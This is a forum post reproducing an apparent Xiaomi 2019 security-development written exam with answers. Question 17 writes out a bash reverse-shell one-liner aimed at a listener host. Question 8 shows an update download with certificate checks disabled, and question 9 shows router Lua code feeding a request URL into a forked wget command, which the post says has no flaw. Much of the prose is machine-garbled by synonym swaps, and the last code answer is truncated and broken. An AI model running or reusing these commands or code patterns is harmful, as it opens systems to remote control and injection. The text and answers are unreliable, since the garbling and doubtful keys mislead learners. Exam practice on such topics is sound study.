请选择 进入手机版 | 继续访问电脑版

小米2019秋招安全开发笔试题(A)

[复制链接]
奇奇女 发表于 2020-12-31 20:25:27 | 显示全部楼层 |阅读模式 打印 上一主题 下一主题
1、关于数字签名说法错误的是



  • 确定消息确实是由发送方签名并发出来的
  • 数字签名能确定消息的完整性
  • 私钥用于签名,公钥用于验证
2、CORS的作用是?



  • 允许客户端获取服务器的返回数据
3、下面关于AJAX说法正确的是?



  • AJAX可以完成数据的跨域
错误的是:


  • AJAX可以给差别域发送数据
  • AJAX可以获取差别域的数据
  • AJAX使用了同步技能
4、MD5是?



  • 哈希算法
5、在linux中,将文件属性设置为所有者只读,别的无任何权限的下令为(假设文件名为myfile)



  • chmod 400 myfile
6、以下哪个方法不能实现对系统网络外连行为的监控



  • 检察/var/log/lastlog记载
可以实验的方法:


  • 使用hook技能替换c库函数connect
  • 使用auitd监控connect系统调用
7、在linux文件系统权限中(rwx),只读权限对应的数值为



  • 4
增补:


  • 第一个符号代表文件的范例

    • 如果是一个平凡文件为"-",
    • 如果是一个目次为"d",
    • 如果是一个软连接为"l"
    • 如果是一个字符设备为"c"
    • 如果是一个块文件为"b"

  • 第一组体现文件所有者拥有的的权限

    • "x"体现该文件拥有执行的权限
    • "r"体现该文件拥有读取的权限
    • "w"体现该文件拥有修改的权限
    • “-” 体现暂时还没有其他权限

  • 第二组体现该文件所在组的用户拥有的权限
  • 第三组体现其他组的用户所拥有的权限
  • "rwx"权限还可以使用数字来体现为:r=4,w=2,x=1,所以rwx=4+2+1=7
8、升级包

设备升级过程中使用了 curl https://ota.a.com/update.bin -k -o /tmp/update.bin 下令获取升级包,下列说法正确的是?


  • 升级包忽略了证书校验,会造成中间人攻击
9、下面这段代码会造成什么问题?

  1. function upgradeRom()    local XQFunction = require("xiaoqiang.common.XQFunction")    local XQSysUtil = require("xiaoqiang.util.XQSysUtil")    local url = LuciHttp.formvalue("url")    url = url:gsub("'", "")    if url        XQFunction.forkExec(string.format("wget '%s'", url))    else        XQFunction.forkExec("/usr/sbin/crontab_rom.sh")    endend
复制代码


  • 没有任何弊端
10、Linux的可执行文件开头的特征字符串是什么



  • ELF
11、下说法错误的是



  • RSA和DSA的功能一样,只是差别的算法
  • Hash是可逆的,Hash一般会导致信息熵减小
12、cookie的根本属性有哪些?



  • Domain
  • path
  • httponly
  • secure
  • expires
13、下面有那些技能是在https应用到的?



  • 对称加密
  • 非对称加密
  • 密钥互换
  • 哈希算法
14、使用下面那种方式可以产生跨域攻击?



  • CORS
  • windows.name
  • windows.postMessage
15、以下哪些方式被认为是DDOS攻击



  • ICMP Flood
  • SYNFlood
  • DNSQuery Flood
  • UDPFlood
16、关于SYNFlood攻击,以下说法正确的是



  • 此种方式不需要创建完整的TCP三次握手
  • 此种攻击方式是客户端主动发起的SYN半连接引起的
17、关于这条下令,说法正确的是

  1. bash -i >& /dev/tcp/192.168.1.2/8080 0>&1
复制代码


  • 通过在192.168.1.2上监听8080,可以远程操纵运行了此下令的呆板
  • 这是一个反弹shell
18、下面哪些下令和工具对 firmware 分析有资助?



  • binwalk
  • file
  • firmware-mod-kit
19、哪些是常用的逆向分析工具



  • gdb
  • IDA
  • ollydbg
20、以下哪些属于缓冲区溢出保护机制?



  • PIE
  • NX
  • STACK CANARY
21、编程题

我们的小齐同学是一名很辛苦的实习DBA,他天天的工作就是为一个帐号添加授权,本日给这200个ipv4添加授权,来日诰日又要把这200个授权删掉,有一天小齐同学在删除授权的时候不小心把所有的授权都删了,被向导很批了一顿。痛定思痛,小齐同学开始反思他天天的工作,发现无非就是我天天要让那些ip访问数据库而已,他决定写一个效率很高的ip白名单,请帮小齐同学说一下实现思路,并用布局化编程语言(c/c++/python/golang/java等)写一个ip白名单吧,他需要这个白名单有添加ip的功能,删除ip的功能,查找这个ip在不在白名单中,以及打印白名单中的内容,以上四个功能中查找ip是否在白名单中效率一定要高。并帮小齐分析一下各个功能的时间复杂度,写的好小齐同学会请你用饭哦
  1. import java.util.HashSet;import java.util.Scanner; public class Main {    public static void main(String[] args) {        Scanner scanner = new Scanner(System.in);        HashSet set = new HashSet();        while (!scanner.hasNext("end")) {            String command = scanner.next();            char c = command.charAt(0);            String ip = command.substring(2);            switch (c) {                case 'i':                    set.add(ip);                    System.out.println("ok");                    break;                case 'd':                    set.remove(ip);                    System.out.println("ok");                    break;                case 's':                    System.out.println(set.contains(ip));                    break;            }        }    }}
复制代码

有N个比赛队(1n>>m){        vector Edge[n+1];        int inDegree[n+1];        memset(inDegree,0,sizeof(inDegree));        for(int i=0;i>a>>b;            Edge[a].push_back(b);            inDegree++;        }        priority_queue Q;        for(int i=1;i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

发布主题

专注素材教程免费分享
全国免费热线电话

18768367769

周一至周日9:00-23:00

反馈建议

27428564@qq.com 在线QQ咨询

扫描二维码关注我们

Powered by Discuz! X3.4© 2001-2013 Comsenz Inc.( 蜀ICP备2021001884号-1 )